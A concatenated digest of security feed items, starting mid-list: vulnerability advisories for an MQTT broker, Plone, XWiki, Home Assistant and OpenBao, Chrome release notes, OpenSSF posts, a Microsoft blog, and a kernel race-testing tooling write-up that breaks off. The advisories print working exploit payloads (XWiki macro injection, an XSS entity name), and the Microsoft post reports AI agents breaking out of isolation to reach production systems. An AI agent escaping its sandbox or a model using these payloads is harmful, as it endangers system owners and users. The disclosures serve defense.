2. (High) Crash the whole broker. SessionEventLoop (SessionEventLoop.java:40-54) catches only InterruptedException and is never restarted (SessionEventLoopGroup), so any uncaught exception on it wedges every co-located client. Trivially reachable inputs: malformed $share/grp SUBSCRIBE (SharedSubscriptionUtils.extractShareName -> StringIndexOutOfBoundsException), deeply nested topic (CTrie recursion -> StackOverflowError), and ACL NPE below. Unbounded subscriptions / retained / in-flight / topic-alias / interceptor state (BrokerInterceptor uses an unbounded queue) also allow OOM; durable stores allow disk exhaustion.
3. (High) NPE in ACL sink on clientId # (invalid filter sensor/#/# -> null tokens -> Topic.match NPE at Topic.java:173).
4. (High) Will-message authorization bypass. Last-Will topic is published (PostOffice.publishWill) without canWrite/reserved-topic checks used for normal PUBLISH.
5. (Medium) Cross-session durable corruption. H2PersistentQueue opens queue_"+clientId and queue_"+clientId+"_meta; client id sensor_meta collides with victim sensor metadata map -> corrupts head/tail.
6. (Medium) Fail-open if authenticator/authorizator class fails to load -> PermitAll/AcceptAll (Server.java:483-531).
## Proof of concept
Source-only, no network; PoCs run on JDK 17: - PoCPatternAcl — clientId + gains cross-tenant read/write; clientId # triggers NPE - PoCSharedSubCrash — extractShareName("$share/grp") throws StringIndexOutOfBoundsException - PoCMapCollision — H2 MVStore collision overwrites victim metadata pointer
## Impact
Cross-tenant eavesdropping and injection, whole-broker DoS, unauthorized Will publishes, and cross-session durable corruption.
## Remediation
1. Reject clientId/username containing +/# (and / if structural) at CONNECT; expand %c/%u as literal tokens. 2. Harden SessionEventLoop (catch Throwable + restart supervision) and validate $share filters. 3. Apply authorization to Will publishes like normal PUBLISH. 4. Add resource caps (connections, queues, retained, aliases, interceptor queue) + bounded session expiry. 5. Separate H2 namespaces and fail closed on auth-class load failure.
Affects plone.app.portlets. CVE-2026-57149.
### Impact The Classic portlet (plone.app.portlets.portlets.classic) used its user-supplied template/macro fields to build a TALES path expression that was then evaluated by the TAL path() helper. Because the value was interpreted as a full TALES expression, a user able to add or edit a Classic portlet could supply a crafted value that escapes simple path traversal and is evaluated as arbitrary code.
This is exploitable by any authenticated user who can configure a Classic portlet - which, with the default role map, includes regular users on their personal dashboard. The result is code execution in the context of the Plone process, i.e. a privilege escalation across the trust boundary between an authenticated web user and the server-side process.
### Patches The problem has been patched in `plone.app.portlets`
* For Plone 6.2, upgrade to `plone.app.portlets` 7.0.2. * For Plone 6.1, upgrade to `plone.app.portlets` 6.0.4. * For Plone 6.0, upgrade to `plone.app.portlets` 5.0.8.
### Workarounds If upgrading is not immediately possible:
- Restrict who can manage portlets: remove the `plone.app.portlets.ManageOwnPortlets` permission from untrusted roles, and limit Manage portlets to trusted administrators (usually this is already restricted to the Manager and Site Administrator roles). - Where the Classic portlet is not needed, unregister it so it cannot be added. This would need to be done by editing a `portlets.xml` in your own code, so it is not a quick fix. - You could also effectively disable showing the classic portlet by customising its template. In the Zope Management Interface go to the `portal_view_customizations` tool, locate the `classic.pt` template and click it. Click the Customize button. Remove all text and replace it with `<div>The classic portlet was disabled.</div>`. (This is not a recommended way of customising a template, but in this case it is quite effective.)
### Credits
Discovered by Giuseppe Caruso, and reported to the [Plone/Zope Security Team](mailto:security@plone.org). Thanks!
Affects org.xwiki.rendering:xwiki-rendering-xml. CVE-2025-53837.
### Impact Any user who can edit their own user profile or any other document can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. The reason is that rendering output is included as content of HTML macros without further escaping and it is thus possible to close the HTML macro and inject script macros that are executed with programming rights.
This can be demonstrated by adding an object of type `XWiki.UIExtensionClass` to a document with content `{{html wiki="true"}}~{~{~/~h~t~m~l~}~}~ ~{~{~c~a~c~h~e~}~}~{~{~g~r~o~o~v~y~}~}~p~r~i~n~t~l~n~(~1~)~{~{~/~g~r~o~o~v~y~}~}~{~{~/~c~a~c~h~e~}~}{{/html}}`, extension point id `org.xwiki.platform.html.head`, extension id `org.xwiki.myuser.test` and extension scope "current user". When opening `<xwiki-server>/xwiki/bin/view/Main/?sheet=CKEditor.ContentSheet&xpage=plain` where `<xwiki-server>` is the URL of the XWiki installation, the output should start with `{{/html}} {{cache}}{{groovy}}println(1){{/groovy}}{{/cache}}` and not with ` 1</p>`.
This escaping was always missing at least in XWiki syntax version 2, it is definitely exploitable in XWiki 3.3 Milestone 1 via the user profile (not through extension points), though this has also been fixed by a separate patch, see the [advisory](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-x764-ff8r-9hpx). Exploitable extension points include [`org.xwiki.platform.search.ui.docdoesnotexist`](https://www.xwiki.org/xwiki/bin/view/Documentation/DevGuide/ExtensionPoint/Suggestions%20for%20Document%20Does%20Not%20Exist/) which has been added in XWiki 8.3 Milestone 1.
### Patches This has been patched in XWiki 14.10.2 and 15.0 RC1 by making sure that rendering output cannot close the surrounding HTML macro.
### Workarounds It is in principle possible to add escaping to all places where rendering output is used in wiki documents but at the moment there is no list of them.
### For more information
If you have any questions or comments about this advisory: * Open an issue in [Jira XWiki.org](https://jira.xwiki.org/) * Email us at [Security Mailing List](mailto:security@xwiki.org)
Affects homeassistant. CVE-2026-91130.
### Summary An authenticated party can add a malicious name to any statistics-capable entity, allowing for Cross-Site Scripting attacks against anyone who views a Statistics Graph card containing that entity, when they hover over any data point on the chart.
**Payload** <img width="1529" height="441" alt="image" src="https://github.com/user-attachments/assets/6926ce53-75fb-455a-bd4e-0c5281e8bed8" />
**Payload triggering** <img width="835" height="469" alt="image" src="https://github.com/user-attachments/assets/0bb9d17a-c123-4d44-8471-35097f65ddd2" />
An alternative, and more impactful scenario, is that the entity gets a malicious name from the provider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited that way through the default name — without requiring any direct access to the Home Assistant instance. This is the same supply-chain vector as CVE-2025-62172.
### Details
The Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending line is in `src/components/chart/statistics-chart.ts`:
https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236
Where **_`param.seriesName`_** is interpolated verbatim into the returned HTML string:
``` return `${time}${param.marker} ${param.seriesName}: ${value}`; ```
No call to `filterXSS()` is made — unlike the Energy dashboard chart, which was patched as part of CVE-2025-62172:
``` // FIXED in energy-chart-options.ts:268 return `${param.marker} ${filterXSS(param.seriesName!)}: ...`; ```
The `statistics-chart` component was not updated when the Energy chart was patched, leaving the same class of vulnerability in place.
The existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability: <img width="962" height="500" alt="image" src="https://github.com/user-attachments/assets/35c84dcd-64d4-47b6-8df2-6c8b63cac880" />
The name value flows through the following chain:
1. `name` is set from `getStatisticLabel(this.hass, statistic_id, meta)`: https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411
2. `getStatisticLabel` is defined here and calls `computeStateName(entity)`: https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339
3. `computeStateName` is defined here — no HTML encoding is applied: https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/compute_state_name.ts
The only transformation applied to the name is replacing underscores with spaces (`computeObjectId(entityId).replace(/_/g, " ")`), which does not prevent HTML injection.
**NB:** Do note that only the fields `Mean, State, Sum and Change` are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default: <img width="105" height="216" alt="image" src="https://github.com/user-attachments/assets/7a784c90-cca5-46da-bcb9-6942ad81da0c" />
Another requirement is that the Chart Type is of type Line, not Bar, which is also the default: <img width="133" height="91" alt="image" src="https://github.com/user-attachments/assets/4f131495-9000-4a80-808b-bf4be9f7a2f6" />
---
### PoC
1. In **Settings → Devices & Services → Helpers**, click **+ Create Helper**. (For testing)
2. Choose **Template** → **Template sensor**. Fill in the form: - **Name:** `test <img src=x onerror=alert(document.domain) />` - **State template:** `{{0.00000001*as_timestamp(states('sensor.date_time_iso'))}}` - **Unit of measurement:** `kWh` - **State class:** `Measurement` - Click **Submit**.
<img width="392" height="741" alt="image" src="https://github.com/user-attachments/assets/6a9b2c65-93fb-4d20-89b8-5a1f47a2bcb0" />
3. Open a dashboard and add a **Statistics Graph** card targeting the new sensor:
<img width="694" height="720" alt="image" src="https://github.com/user-attachments/assets/83996d12-d5ba-467a-9ca1-cbc46246ddff" />
**NB:** Set time-window to 5 minutes for ease of testing so you see data quickly
4. Hover over any data point on the chart.
5. The `onerror` handler fires — `alert(document.domain)` executes in the browser or HTML-injection appears depending on the payload
** Exact helper as described here** <img width="802" height="441" alt="image" src="https://github.com/user-attachments/assets/09284c10-bc39-410a-aff0-307e0bfd0502" />
**Own sensor** <img width="962" height="500" alt="image" src="https://github.com/user-attachments/assets/35c84dcd-64d4-47b6-8df2-6c8b63cac880" />
**Own sensor 2** <img width="835" height="469" alt="image" src="https://github.com/user-attachments/assets/0bb9d17a-c123-4d44-8471-35097f65ddd2" /> ---
### Impact
The vulnerability can be exploited remotely via the supply-chain vector: any integration that automatically names entities (e.g. energy providers like Tibber) could deliver the payload without requiring the attacker to have any account on the target Home Assistant instance. This mirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs.
Compared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical. Suggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
The root cause — missing `filterXSS()` on `param.seriesName` — is identical to the already-fixed Energy dashboard. The Statistics Graph card, which uses a shared `statistics-chart` component, was not included in the previous fix scope.
Credit: Robin Lunde - [https://robinlunde.com](https://robinlunde.com)
Affects github.com/openbao/openbao. CVE-2026-63132.
### Impact
When running in the highly privileged recovery mode, OpenBao was vulnerable to a timing attack against the single recovery token. This allowed an attacker to extract the recovery token and use it to perform operations against the OpenBao instance, including reading or modification of data.
### Patches
This has been patched in OpenBao v2.6.0.
Hi everyone! We've just released Chrome Dev 156 (156.0.8063.0) for Android. It's now available on Google Play.
You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.
If you find a new issue, please let us know by filing a bug.
Chrome Release Team
Google Chrome
By Eddie Knight and Stacey Potter
The Open Source Security Foundation (OpenSSF) is partnering with the Cloud Native Computing Foundation (CNCF) Security Technical Advisory Group (TAG Security) to support the 2026 Security Slam at KubeCon + CloudNativeCon North America.
The 30-day challenge runs from October 5 through November 6 and highlights OpenSSF projects as practical tools that help improve project security posture. Participants will use OpenSSF projects, among others, to achieve security hygiene milestones tailored to their project’s maturity level.
OpenSSF project leads, staff, and maintainers have assisted in the creation of the “Slam Library,” a set of web resources to guide participants through each challenge, and will continue to be available throughout the month via the official Security Slam website.
Register now to receive reminders and instructions before the event kicks off on October 5. Stop by the OpenSSF booth #313 in the KubeCon Solutions Showcase anytime during the week of November 10-12 to pick up participant achievement awards.
The Security Slam is a CNCF community activity that has taken many different shapes over the years. Now on its sixth iteration, the Slam is designed to help projects understand and improve their high level security posture.
Previously limited to CNCF projects due to the nature of the evaluation tools available, the Slam is now taking advantage of new tools to greatly broaden the qualifications for participation: Any open source project is invited to participate!
The event has had several permutations in its length. In the case of the Kubernetes Lightning Round, the slam was a day of onboarding new contributors to Kubernetes with a focus on security hygiene improvements to seven different subprojects. Taking it a step further, the 2025 event featured weeks of preparatory work with maintainers, and 45-minute live sessions with maintainers and anyone who wanted to join from the audience at KubeCon + CloudNativeCon Europe.
This year returns to the 30-day format that produced strong results in 2023. Then, projects were given their own iron-on badges and a framed plaque to highlight the milestones that they completed during the 30-day event. Not only were the plaques seen at project tables long after the event ended, but we received reports of significant project wins due to the efforts achieved during that event. The 2026 Fall Security Slam builds on the success of earlier events, including the Spring event, where projects achieved major security milestones.
Here are some key similarities you will see:
And there are new elements as well:
Key Dates to Remember:
Registration is now open: Sign up to receive reminders and instructions related to the event!
Eddie Knight is a Software and Cloud Engineer with a background in banking technology. When he isn’t playing with his 3-year-old son, he combines his passion and job duties by working to improve the security of the open source software ecosystem. Eddie helps lead the FINOS Technical Oversight Committee, and the OpenSSF ORBIT Working Group.
Stacey Potter is the Community Manager at OpenSSF, and brings extensive experience in open source community building, marketing, and event coordination. With a background spanning projects like Minder, Flux and Flagger, OpenFeature, and Keptn, she has played a key role in fostering engagement and driving adoption across cloud-native and open source security ecosystems.
The Stable channel has been updated to 153.0.8010.52/.53 for Windows and Mac and 153.0.8010.52 to Linux which will roll out over the coming days/weeks. A full list of changes in this build is available in the Log
Security Fixes and Rewards
[TBD][500417361] Critical CVE-2026-93374: Use after free in Dawn. Reported by Florian Schweitzer on 2026-04-08 [N/A][548085797] Critical CVE-2026-93372: Buffer overflow in WebGL. Reported by Google on 2026-08-17 [$3,000][550839154] High CVE-2026-93375: Incorrect reference resolution in Tracing. Reported by M. Fauzan Wijaya (Gh05t666nero) on 2026-08-22 [TBD][541707261] High CVE-2026-93382: Use after free in PDFium. Reported by WinD39 - Huynh Dinh Vu on 2026-08-02 [N/A][553130676] High CVE-2026-93387: Improper state validation in Skia. Reported by Google on 2026-08-26 [N/A][553132214] High CVE-2026-93373: Use after free in Extensions. Reported by Google on 2026-08-26 [TBD][556853443] High CVE-2026-93381: Buffer overflow in PDFium. Reported by SeungMyung Lee (@sm1ee), Siung kim (@ksw9722) on 2026-09-03 [TBD][560039872] High CVE-2026-93379: Incorrect authorization in ORB. Reported by OGINOME Tomohito on 2026-09-11 [N/A][560121552] High CVE-2026-93377: Type confusion in V8. Reported by Google on 2026-09-11 [N/A][498411599] Medium CVE-2026-93380: Race condition in FileSystem. Reported by Google on 2026-04-01 [N/A][511832293] Medium CVE-2026-93384: Server-side request forgery in Omnibox. Reported by Google on 2026-05-10 [N/A][515493668] Medium CVE-2026-93383: Information leak in Permissions. Reported by Google on 2026-05-22 [N/A][520521197] Medium CVE-2026-93376: Out of bounds read in DataTransfer. Reported by Google on 2026-06-05 [N/A][540051167] Medium CVE-2026-93378: Missing authorization in Storage. Reported by Google on 2026-07-28 [N/A][553136980] Medium CVE-2026-93385: Information leak in Paint. Reported by Google on 2026-08-26 [N/A][513996595] Low CVE-2026-93386: UI misrepresentation in WebAppInstalls. Reported by Google on 2026-05-17
Hi everyone! We've just released Chrome Beta 155 (155.0.8059.16) for Android. It's now available on Google Play.
You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.
If you find a new issue, please let us know by filing a bug.
Chrome Release Team
Google Chrome
The Chrome team is delighted to announce the promotion of Chrome 154 to the stable channel for Windows, Mac and Linux. This will roll out over the coming days/weeks.
Chrome 154.0.8037.57 (Linux) 154.0.8037.57/.58 Windows/Mac contains a number of fixes and improvements -- a list of changes is available in the log. Watch out for upcoming Chrome and Chromium blog posts about new features and big efforts delivered in 154.
Continued at the source.
AI has already made fundamental changes to the operating environment for cybersecurity. Cyberattackers are testing more paths, adapting their techniques, and moving across digital environments with greater speed and persistence. The weaknesses they exploit remain familiar: excessive permissions, unprotected authentication flows, unpatched systems, exposed execution paths, and gaps between controls. What has changed is how quickly these weaknesses can combine into attack paths that cross identities, endpoints, applications, networks, and AI systems. A single foothold can become a broader compromise, making it increasingly difficult for security teams to determine which risks matter most and where to act first as their organizations adopt AI.
We introduced Secure Now within Microsoft Security Exposure Management in May 2026 to help practitioners prioritize the action they need to take to be prepared for this shift. It provides actionable guidance for strengthening the foundational security needed for AI adoption, with recommendations focused on areas where autonomous attacks can create outsized exposure.
We continue to see evidence that AI is reshaping the threat landscape. These developments reinforce many of the foundational practices we use internally to secure Microsoft, while also expanding our understanding of where organizations need additional visibility, governance, and control. The examples in this blog illustrate how familiar weaknesses are evolving in the AI era and why continuous exposure reduction remains essential.
Recent frontier model-related agentic security disclosures offered early lessons in how autonomous agents may test the boundaries of their instructions and environments.
In an incident disclosed by OpenAI, agents moved beyond their intended isolation, exploited vulnerabilities in shared Hugging Face infrastructure, and reached production systems. In separate incidents disclosed by Anthropic, agents exploited familiar weaknesses, including SQL injection, exposed credentials, weak passwords, and a malicious PyPI package.
Our customers are asking us how they can reduce this risk by governing agent identities and tools, isolating execution, restricting outbound connectivity, monitoring behavior, and defending against increasingly autonomous external cyberthreats, so that an unexpected agent action or exposed weakness do not become a path across the enterprise.
Explore recommended controls for this attack path.
Microsoft Threat Intelligence recently observed Storm-2945, a subcluster of Midnight Blizzard, manipulating DNS and HTTP traffic across hospitality networks in the CaptiveCrunch campaign. Travelers were redirected into two attack paths: device-code phishing through a legitimate Microsoft sign-in page, or fake software updates that delivered malware.
One network interaction could therefore become either cloud identity access or endpoint compromise. The malware could collect multiple categories of host intelligence, including credentials, session tokens, security configurations, and remote-access history.
Identity remains a leading attack surface, and protecting it requires securing the authentication flow as well as the credential. Security leaders can expand phishing-resistant authentication, block device-code flow where it is unnecessary, and constrain legitimate use through Conditional Access and sign-in risk policies. Endpoint protections can disrupt the parallel malware path.
Explore recommended controls for this attack path.
A third campaign began with attackers impersonating IT support through Microsoft Teams. After persuading a user to grant control through legitimate remote-support software, they used PowerShell to download a malicious Windows Installer (MSI) package, stage a portable Node.js runtime, and establish persistent command-and-control. From that endpoint, the operator mapped Active Directory and attempted to use WinRM to reach dozens of systems, including domain controllers and certificate authorities.
Each step relied on technology common in enterprise environments—a Teams conversation, remote-support software, Windows Installer, a legitimate runtime, and a native administrative protocol—enabling the cyberattacker to move laterally while blending with expected operations.
Security leaders can disrupt that path with phishing-resistant access controls, managed-device requirements, endpoint attack surface-reduction rules, and tighter restrictions on remote-support tools and WinRM.
Explore recommended controls for this attack path.
Cyberattackers are moving laterally across surfaces, and security fundamentals matter most at the intersections between them. Through the Secure Future Initiative, Microsoft is operationalizing security as a continuous discipline and applying and sharing lessons from strengthening our own environment. Guided by Zero Trust principles—verify explicitly, use least privilege, and assume breach—we will continue to make high-impact protections easier to adopt and enabled by default where appropriate.
Governed identities, well-defined permissions, protected data, and visibility into AI systems and agents provide resilience as organizations accelerate AI adoption. They also give AI-powered security the context and trusted mechanisms needed to help defenders prioritize risk and act faster. Strengthening these foundations reduces exposure today while preparing organizations for what comes next.
On Secure Now—within Microsoft Security Exposure Management—security leaders can now find information on recent threats paired with focused initiatives across security domains. This brings together guidance on recommended controls and enables customers to take relevant actions to continuously strengthen your posture.
Visit Secure Now to understand recent threats, identify areas of focus, and take action.
Learn more about Microsoft Security Exposure Management.
FastTrack provides eligible customers with access to technical specialists as an included benefit at no additional cost to help strengthen foundational security controls, reduce exposure to cyberthreats, and prepare for broader AI adoption. Get started now.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.
The post From guidance to action: Security fundamentals that materially reduce risk appeared first on Microsoft Security Blog.
By Sally Cooper
Not sure how the EU Cyber Resilience Act (CRA) impacts your work? The OpenSSF’s new community garden user journey helps maintainers, open source software stewards, and manufacturers find their unique path to understanding the CRA. This resource provides a simple way to identify your specific role, navigate legal requirements, and access the tools, training, and community support necessary to maintain compliance and keep software secure.
Across the community, people are asking questions about the EU Cyber Resilience Act: Where do I fit? What do I need to do? Where can I find information that applies to my role?
That is why OpenSSF created Grow CRA Readiness: A Community Garden Journey with OpenSSF. It gives people a simple way to identify their role and move directly to the guidance, tools, and community support that can assist them.
The EU Cyber Resilience Act introduces cybersecurity requirements for many hardware and software products made available on the EU market.
The first major deadline arrived on September 11, 2026, when reporting obligations for manufacturers began. The broader requirements apply beginning December 11, 2027. A good start in understanding is to know your role and where to find reliable guidance.
Many people are still unsure how the CRA applies to their work. The 2026 CRA Awareness and Readiness Report found that 66% of respondents were unfamiliar with the regulation.
That is why OpenSSF went all in on Policy and CRA alignment as a focus in its 2026 community roadmap. Working with the Global Cyber Policy Working Group and its Awareness SIG, the community helped to create this journey, podcasts, Tech Talks, guides, and other materials to help people find their role and take the next step.
In our What’s in the SOSS? podcast conversation with Roman Zhukov, Roman used a community garden to explain the different roles in the open source ecosystem. Everyone contributes to the health of the garden, but not everyone has the same responsibilities.
That analogy became the foundation for the new journey.
Grow CRA Readiness: A Community Garden Journey with OpenSSF
You are the hobby gardener, cultivating code and sharing it with the community. Most people contributing non-commercial open source software are not the ones carrying a manufacturer’s CRA responsibilities.
The journey points maintainers toward practical security guidance that can help projects stay healthy and make life easier for downstream users.
You are the garden association, helping provide the support, governance, and resources that allow projects to thrive.
The CRA includes a specific role for open source software stewards. The journey connects stewards with guidance designed around their tailored responsibilities.
You are the farm-to-table builder, taking ingredients from the shared garden and turning them into a product offered under your own name or trademark.
Manufacturers carry the broadest CRA responsibilities. The journey directs product, engineering, security, and compliance teams to the resources that can help them prepare.
Not sure which path is yours? Start with the Grow CRA Readiness journey. An organization may even follow more than one path across different projects and products.
CRA reporting obligations took effect on September 11, 2026. The journey connects manufacturers and stewards with the current reporting guidance and the people who navigate these questions making it easy to find resources and information.
The broader CRA requirements begin to apply with the December 11, 2027 deadline. Organizations do not need to solve everything at once, but they should begin identifying their role and building a plan. The journey makes that first step much easier and links to the deeper guidance when needed.
OpenSSF’s Lazy River user journeys help software developers, security engineers, OSPO leaders, marketing and community professionals, and executives find the OpenSSF projects and communities most relevant to their work. The CRA community garden journey adds a focused regulatory layer.
The Lazy River helps answer, “Where do I fit in OpenSSF?” The community garden helps answer, “What role do I play in CRA readiness?” Most readers will benefit from both. A security engineer working for a manufacturer, an OSPO leader helping define stewardship, or an executive building a compliance roadmap can follow a professional journey and the CRA role-based path at the same time.
The journey gathers the community’s resources into four easy stops:
You do not need to visit every stop at once. Choose your path, find the resource you need today, and come back as your work develops.
Start with the journey.
Explore Grow CRA Readiness: A Community Garden Journey with OpenSSF
Find your role, follow your path, and use the OpenSSF community to help you take the next step. CRA readiness may be a serious challenge, but no one has to navigate it alone.
This article is for general informational purposes and is not legal advice. Consult current official guidance and your legal or compliance advisers for your specific circumstances.
Sally Cooper is a Senior Communications & Marketing Manager and leads marketing and communications for the Open Source Security Foundation (OpenSSF). She helps the community share their stories and shines a light on the work that keeps open source secure for everyone.
Many security bugs are race conditions, where multi-threaded execution has to occur with the right interleaving for a negative effect to appear. This creates challenges for several use cases:
I mostly discover bugs by manually reading code. When I think I’ve found a bug, I normally write a test case to either prove or disprove that the bug exists. For race condition bugs, it can be hard to achieve either outcome. For Linux kernel bugs, I often resort to recompiling the kernel after adding conditional mdelay() calls (which spinloop for roughly the specified amount of time) in appropriate places; I usually make these conditional based on the name of the running thread, though sometimes more complex conditions are needed. On platforms that support DTrace (like macOS and Windows), it is possible to use DTrace probes that call chill() for similar effect, though the utility of this is limited as DTrace can only trace on non-inline function boundaries or explicit trace points, rather than on every instruction. Regardless of platform, this approach can be time consuming and can require trial and error to definitely determine whether code is buggy.
Additionally, in the Linux kernel, fixes for race condition bugs are often accompanied by hand-written ASCII diagrams showing problematic thread interleavings with call graphs and relevant memory accesses (for example, see this recent rt_spin_unlock UAF fix, or this recent jbd2 deadlock fix). It would be convenient to have developer tooling that can analyze potentially vulnerable code and show results in a similar representation.
I wrote tools for exploring possible interleavings of multi-threaded test cases for the Linux kernel:
The kernel part of this is intended to also be usable for discovering race conditions via fuzzing, but userspace tooling for that still needs to be implemented.
The tools are available on GitHub under the name MAccConc, short for “Memory Access Concurrency”; see the README there for installation and usage instructions.
If you just want to see the tooling in action, skip to Demo: automatic testing.
If you’re just interested in the theory behind the tooling, read section Stable identifiers for memory accesses across runs: count-augmented stack traces.
This project was inspired by discussions with Ned Williamson, whose sockfuzzer project involved exploration of concurrency bugs by using a custom scheduler that can reschedule at synchronization primitives to explore interleavings. See the conference talk slides and recording focused on the concurrency testing aspect of this.
My tooling is largely based on ideas similar to SKI, but SKI uses a different implementation: It records memory accesses and controls scheduling of vCPUs using a patched version of QEMU in TCG mode, and uses VM snapshots to explore different execution interleavings.
As described in the SKI paper, interesting execution interleavings of a given multi-threaded test case can be discovered by tracing memory accesses of all threads and searching for pairs of accesses on two threads that could interact with each other - meaning, roughly, that at least one of them is a write operation, and they access overlapping memory ranges. The SKI paper calls such memory accesses communication points.
This requires some mechanism to collect memory access coverage. SKI did this by patching QEMU’s TCG mode; I am instead relying on ASAN instrumentation in “outline” mode (compiler backend flag asan-instrumentation-with-call-threshold=0, selected by CONFIG_KASAN_OUTLINE in the Linux kernel), which generates helper function calls on memory access. I believe that the kernel is the right place to collect this data because it would allow the kernel to also provide higher-level information about lock acquire/release events and such, though I have not implemented this at this time. Implementing this in the kernel also means that it would theoretically be possible to test on bare-metal hardware, rather than inside VMs.
Since Linux already has KCOV as a mechanism to feed basic block kernel coverage information to userspace, I decided to use the same mechanism to record information about memory accesses. An alternative would have been to use ftrace, which is oriented towards tracing use cases, and includes a function graph tracing mode built on fentry hooks and more complex output buffer management that is oriented towards use cases including system-wide data collection. I chose to use KCOV because of its simpler in-memory representation of trace data (which could become relevant for recovering trace data from crashed VMs); because it uses static always-on instrumentation rather than runtime-enabled instrumentation with near-zero overhead in disabled state; and because my impression is that KCOV is designed for higher-frequency trace events than ftrace.
ASAN normally merges helper calls for subsequent memory accesses. To receive one callback per memory access, the kernel patches explicitly disable this compiler optimization using the asan-opt-same-temp backend flag.
ASAN is intended for identifying UAF, so it does not emit helper calls on direct stack memory access unless there is potential for out-of-bounds access. This means that some race conditions involving on-stack objects, such as wait queues, may not be detectable with this. ASAN also by default emits no helper calls for access to globals, but this optimization can be disabled using the asan-opt-globals backend flag.
An alternative would be to use TSAN instrumentation instead, which is designed for detecting data races and also provides information about access atomicity. The downside of TSAN instrumentation is that compilers do not support emitting both ASAN and TSAN hooks at the same time - so to still have working detection of memory safety violations (like UAF) while using TSAN hooks, it would be necessary to run the kernel’s ASAN implementation off of the TSAN hooks or change the compiler.
Some race conditions involve background work, for example:
KCOV can optionally collect remote coverage for background work in some subsystems; however, in upstream Linux, most types of background work that would be interesting for me are not yet integrated with this mechanism, and remote coverage is currently mainly used for fuzzing subsystems that handle incoming data from devices, like bluetooth and USB.
Enabling this for other parts of the kernel should be relatively straightforward, and I have a draft patch for doing this for RCU callbacks.
To test out different orderings of memory accesses, a way to stably identify interesting memory accesses across test case executions is needed. Identifying memory accesses based on the data address would not work if the data address was located in an object which is freshly allocated during each test case execution; and identifying memory accesses solely by instruction address would not work well if the memory access was in a function like memcpy() or spin_lock().
SKI solves this using VM state snapshots, so that each execution starts from the same global state.
I am instead identifying memory accesses with count-augmented stack traces, where each stack trace element essentially consists of a callee function address and a number indicating how many calls to this callee should be skipped in the calling stack frame.
An example of the semantics of a count-augmented stack trace would be something like: “On this thread, look at the second call to __x64_sys_recvfrom, then within that, the first call to __sys_recvfrom, then within that the first call to sock_recvmsg, then within that, the first call to unix_stream_recvmsg, then within that, the first call to unix_stream_read_generic, then within that, the second call to _raw_spin_unlock, and then within that, the first memory access at instruction address X”.
This unambiguously identifies a point in an execution trace, is independent of concrete data addresses, and is relatively stable with regards to changes in the control flow of irrelevant parts of the trace.
To make this work, KCOV must provide information about function entry/exit events so that when userspace is parsing KCOV coverage output, it can keep track of how the call stack changes. Doing this nicely requires compiler support as part of SanitizerCoverage; I landed an LLVM feature patch for this a few months ago (see documentation), which landed in the LLVM 23.1.0 release.
To force specific execution orderings through KCOV, I implemented an ioctl KCOV_SET_DI using which userspace can request that actions (essentially wait/wake) are taken on memory accesses at specific count-augmented stack traces. (See documentation in my kernel branch.) Each action either sets one flag, or waits for one flag to be set, at a userspace-provided index in a shared array of flags. The possible action types are:
DI_STACK_WAKE_PRE: before the memory access, set flag NDI_STACK_WAIT: before the memory access, spin-wait until flag N is setDI_STACK_WAKE_POST: after the memory access, set flag NWith the same ioctl, userspace also configures an upper limit on spin-wait iterations.
Additionally, there are ioctls for userspace to directly interact with the same flags.
This API enables two different ways of using delay injection: constraint-style delay injection and fully-specified ordering.
Userspace can set up a series of A-happens-before-B constraints, where each such constraint is implemented as a pair of actions in different threads that operate on the same flag:
DI_STACK_WAKE_POST for the access that should happen firstDI_STACK_WAIT for the access that should happen secondWith this approach, the execution ordering is left partly non-deterministic. This is what the GUI and terminal UI tools currently implement.
An advantage is that this is somewhat more intuitive for simple cases; however, it requires recording timing information to show the user approximately in what order events happened, and it can make the execution trace more complicated. It also often requires more constraints than a fully specified ordering, and is more complicated to reason about.
Userspace can decide on a specific ordering in which events should occur, by picking points at which execution should transfer from one context to another. For the simple case with two execution contexts, this requires that thread A starts running a syscall while thread B begins by spin-waiting on a flag; then when thread A reaches some count-augmented stack trace, thread A uses a combination of DI_STACK_WAKE_PRE and DI_STACK_WAIT to pause its own execution and let thread B continue; and later, thread B can do the same to switch back.
This is the approach I used for the automatic A-B-A interleaving tester.
I’ll explain more background below; but first, here are two shiny demos on a toy example!
This is an example of using the automatic A-B-A interleaving tester on this test case with concurrent dup(5) and close(5) calls:
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static int test_fd;
static int dup_res, dup_errno;
void test_setup(void) {
test_fd = open("/", O_PATH);
}
void test_thread1(void) {
dup_res = dup(test_fd);
dup_errno = errno;
}
void test_thread2(void) {
close(test_fd);
}
void test_end(void) {
printf("dup(%d) = %d (%s)\n",
test_fd,
dup_res,
dup_res == -1 ? strerror(dup_errno) : "success");
}
It discovers one ordering where dup(5) returns 5, which is working as intended but might be a somewhat surprising result:
sh-5.3# ./kcov-autorace testcase/demo-dup-vs-close.so
loading kallsyms
RCU state (excluded): base=ffffffff82970100 len=500
loading testcase
initializing kcov
